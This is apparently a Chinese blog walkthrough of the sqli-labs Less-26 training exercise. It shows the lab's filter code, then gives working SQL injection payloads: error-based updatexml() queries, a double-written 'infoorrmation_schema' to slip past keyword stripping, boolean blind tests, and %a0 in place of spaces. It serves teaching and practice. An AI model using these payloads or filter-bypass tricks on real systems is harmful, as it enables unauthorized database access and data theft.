Less-26

1. 题目分析

这道题的坑算是比较多的了,我们来分析一下。
通过初步测试发现这个题目过滤的东西有点多,直接看源码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

这基本上算是能构造的都给你过滤的干干净净了。
所以,我们的思路就是不用空格(或者绕过空格过滤),替换orand


2. 思路分析

orand的绕过是上一节的重点内容。本节主要处理空格
处理空格有两种思路:

  1. 因为题目有空格过滤,我们直接寻找不使用空格的注入方法。
  2. 使用其他特殊字符代替空格。

2.1 不用空格

先输入一个1'测试一下
在这里插入图片描述
得出两个结论:

  1. id是由单引号包裹的
  2. 网站没有对报错信息进行过滤,我们可以使用基于报错的注入手段

看一下网站查询的SQL源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

2.1.1 报错注入

由于不使用空格,并且网站会返回详细的错误信息,因此updatexml()是一个不错的选择。

先构造一个查数据库的payload

?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'

效果如下图:
在这里插入图片描述
这里的%26&的url编码。因为这里有and+空格过滤,因此只能使用&&将逻辑和updatexml分开,但是&&就像一个孤儿一样,不能够正常的提交给服务器,所以我们必须输入他的url编码%26%26才行。

再来一个爆表的payload

?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'

在这里插入图片描述
通用

?id=1'%26%26updatexml(1,concat('~~',(payload)),1)%26%26'

payload处构造自己需要的查询语句即可。(注意:由于不能使用空格,因此可以用括号()将每个查询的部分独立开)

2.1.2 盲注

除了使用报错注入外,还可以使用盲注。
通过构造True和Fals语句,发现网站有不同的响应。
在这里插入图片描述
在这里插入图片描述
因此我们可以构造判断语句,进行盲注。
这里猜一下数据库的名字是不是security

?id=1'%26%26(database()="security")%26%26'1'='1

在这里插入图片描述
因此通用的payload如下:

?id=1'%26%26(payload)%26%26'1'='1

我们可以利用substr()ascii()进行盲注。

2.2 使用特殊字符代替空格

本来这个方法应该是首选的,但是由于我的sqli是在windows搭建的原因导致这个方法不能成功通关。

这里就简单说一下吧,
由于空格是被过滤掉的,因此我们即使输入的是URL编码%20还是不行。但是在url编码中有一些特殊字符是会被当成和空格具有一样效果的,
在这里插入图片描述
就像这个%a0,虽然会被当做空格使用,但是却不会被过滤。

但是windows平台不能识别这些特殊字符,
在这里插入图片描述
如图,他无法识别,就给你显示了一个问号图标。网上很多人说这是windows本身的锅,linux就可以识别出来这个特殊字符。但是我也没有试,有兴趣的小伙伴可以自己试一下。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值